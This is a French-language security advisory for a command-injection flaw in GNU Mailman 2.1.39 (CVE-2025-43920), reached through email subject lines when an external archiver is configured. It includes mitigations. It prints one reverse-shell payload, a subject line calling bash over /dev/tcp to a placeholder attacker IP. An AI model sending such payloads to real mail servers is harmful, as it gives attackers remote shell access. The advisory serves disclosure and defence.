
Exploit de preuve de concept pour CVE-2025-43920, une vulnérabilité d'injection de commandes dans GNU Mailman 2.1.39 via les lignes d'objet des courriels, permettant l'exécution de code à distance et l'accès à un shell inversé.
Découvert par : Firudin Davudzada & Musazada Aydan
Date de divulgation : Avril 2025
Identifiant CVE : CVE-2025-43920
Sévérité : 5.4 Moyen (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)
Type d'attaque : À distance
Logiciel concerné : GNU Mailman 2.1.39 (intégré à cPanel/WHM)
GNU Mailman 2.1.39, tel qu'intégré à cPanel et WHM, présente une faille critique d'injection de commandes qui permet à des attaquants non authentifiés d'exécuter des commandes système arbitraires. La vulnérabilité survient lorsqu'un archiviste externe est configuré via PUBLIC_EXTERNAL_ARCHIVER ou PRIVATE_EXTERNAL_ARCHIVER dans le fichier de configuration mm_cfg.py, et que la ligne d'objet de l'e-mail contient des métacaractères shell qui ne sont pas correctement échappés. Cela peut conduire à une compromission complète du système, permettant aux attaquants d'établir des shells inversés, d'exfiltrer des données ou d'effectuer d'autres actions malveillantes.
PUBLIC_EXTERNAL_ARCHIVER, PRIVATE_EXTERNAL_ARCHIVER)Mailman/Handlers/ (logique de traitement de l'objet de l'e-mail, incluant potentiellement des fichiers comme CookHeaders.py);, &, |) sont présents.Pour exploiter cette vulnérabilité, un attaquant peut envoyer un e-mail à une liste gérée par Mailman avec une ligne d'objet malveillante, par exemple :
Subject: ;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Prérequis :
PUBLIC_EXTERNAL_ARCHIVER ou PRIVATE_EXTERNAL_ARCHIVER.netcat) doit être mis en place sur ATTACKERIP:4444 pour recevoir le shell inversé.Résultat attendu : Si la commande de l'archiviste externe n'échappe pas la ligne d'objet, la commande malveillante s'exécute sur le serveur, établissant un shell inversé vers le serveur de l'attaquant.
Désactiver les archivistes externes : Définir PUBLIC_EXTERNAL_ARCHIVER et PRIVATE_EXTERNAL_ARCHIVER à None dans mm_cfg.py pour désactiver la fonctionnalité d'archiviste externe :
PUBLIC_EXTERNAL_ARCHIVER = None
PRIVATE_EXTERNAL_ARCHIVER = None
Échapper les entrées : Si un archiviste externe est requis, assurez-vous que la commande échappe la ligne d'objet pour empêcher l'injection de métacaractères shell.
Restreindre les abonnements : Limiter les abonnements aux listes de diffusion aux utilisateurs de confiance afin de réduire l'exposition.
Firudin Davudzada et Musazada Aydan ont divulgué de manière responsable cette vulnérabilité lors d'un engagement de test de pénétration autorisé. Merci à l'équipe CVE de MITRE pour la coordination.
E-mail : [email protected]\